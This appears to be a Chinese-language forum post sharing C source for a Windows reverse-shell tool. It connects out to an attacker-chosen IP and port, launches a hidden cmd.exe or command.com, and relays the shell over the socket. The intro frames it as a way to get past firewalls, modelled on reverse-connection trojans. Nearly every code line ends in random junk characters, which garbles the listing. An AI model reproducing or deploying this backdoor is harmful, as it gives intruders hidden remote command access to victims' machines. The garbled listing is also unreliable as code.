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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 t)Q6A@$:  
f=%k9Y*)  
/* ============================== <1~5l ~  
Rebound port in Windows NT ]+RBykr  
By wind,2006/7 .32]$vx  
===============================*/ Nrp0z:  
#include RLkP)+t  
#include +m Plid\  
#Fx$x#Gc@y  
#pragma comment(lib,"wsock32.lib") v`i9LD0(  
:]&O  
void OutputShell(); Y_qRW. k  
SOCKET sClient; Kfho:e,  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; + k1|+zzS  
,r<!30~f  
void main(int argc,char **argv) 1p#O(o  
{ x| jBn}  
WSADATA stWsaData; RL =  
int nRet; X"yj sk  
SOCKADDR_IN stSaiClient,stSaiServer; 1an?/j,  
JVO,@~~  
if(argc != 3) 7`,A]":;  
{ 7}+U;0,)  
printf("Useage:\n\rRebound DestIP DestPort\n"); xE+Nz5F  
return; HFV4S]U=  
} ~@8r-[  
&6*X&]V!Z  
WSAStartup(MAKEWORD(2,2),&stWsaData); @k_xA-a  
1_}* aQ  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *$uj)*5,  
)%e`SGmp  
stSaiClient.sin_family = AF_INET; }*4K{<02  
stSaiClient.sin_port = htons(0); >^vyp!  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 7v9l+OX,6  
fI:j@Wug  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #3!l6]  
{ 4L'dV  
printf("Bind Socket Failed!\n"); q'u^v PO  
return; o&tETJ5Bhe  
} 0OJBC~?{\  
[v7)xV@c  
stSaiServer.sin_family = AF_INET; 5&}~W)"9  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); iwJeV J  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^{L/) Xy5  
:xdl I`S  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) F/BB]gUB  
{ 5r#0/1ym!  
printf("Connect Error!"); EA@p]+P  
return; ,9T-\)sT  
} q'r(#,B<3  
OutputShell(); 7A!E~/nSC  
} JO\F-xO  
9b KK  
void OutputShell() GjDs,9@f  
{ sC ,[CN:b  
char szBuff[1024]; =7&2-'(@  
SECURITY_ATTRIBUTES stSecurityAttributes; w}*2Hz&Q!  
OSVERSIONINFO stOsversionInfo; v6r,2Va/  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _M.7%k/U8  
STARTUPINFO stStartupInfo; ~N{ 7  
char *szShell; Ko6>h  
PROCESS_INFORMATION stProcessInformation; {.vU;  
unsigned long lBytesRead; ,^]yU?eU  
>fCz,.L  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); kNW}0CDgs  
U Ke!zI  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `~${fs{-`/  
stSecurityAttributes.lpSecurityDescriptor = 0; /yRP>CX~  
stSecurityAttributes.bInheritHandle = TRUE; >hg?!jMjrr  
E1p?v!   
2D,EWk/4  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); fTn  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {(o$? =  
U-uBz4Gha  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %`rZ]^H  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N_#QS}H  
stStartupInfo.wShowWindow = SW_HIDE; TL%2?'G  
stStartupInfo.hStdInput = hReadPipe; oA_T9uh[  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; e;QPn(  
{<\[gm\X  
GetVersionEx(&stOsversionInfo); ZbS* zKEW  
`/WX!4eR,  
switch(stOsversionInfo.dwPlatformId) )?@X{AN&  
{ /5@4}m>Z@  
case 1: :Taequk  
szShell = "command.com"; P)VysYb?  
break; %!_okf   
default: IhIPy~Hgt  
szShell = "cmd.exe"; GwHp@_>  
break; :nk$?5ib  
} u19 d!#g  
Mp8BilH-T  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !'E{D`A9  
0taopDi ;d  
send(sClient,szMsg,77,0); aTJs.y -I~  
while(1) @qC](5|TQ  
{ ;xp^F KP  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +mc0:e{WF  
if(lBytesRead) 1trk  
{ -Xm/sq(i)%  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Iu<RwB[#Q  
send(sClient,szBuff,lBytesRead,0); 58T<~u7  
} MiB"CcU  
else u$A*Vsmr  
{ |&O7F;/_  
lBytesRead=recv(sClient,szBuff,1024,0); =&kd|o/i  
if(lBytesRead<=0) break; *|Cmm>z"7  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); :?LUv:G  
} }Xn5M&>?  
} @@&([f  
n\ l$R!zr  
return; C7|z DJ_  
}
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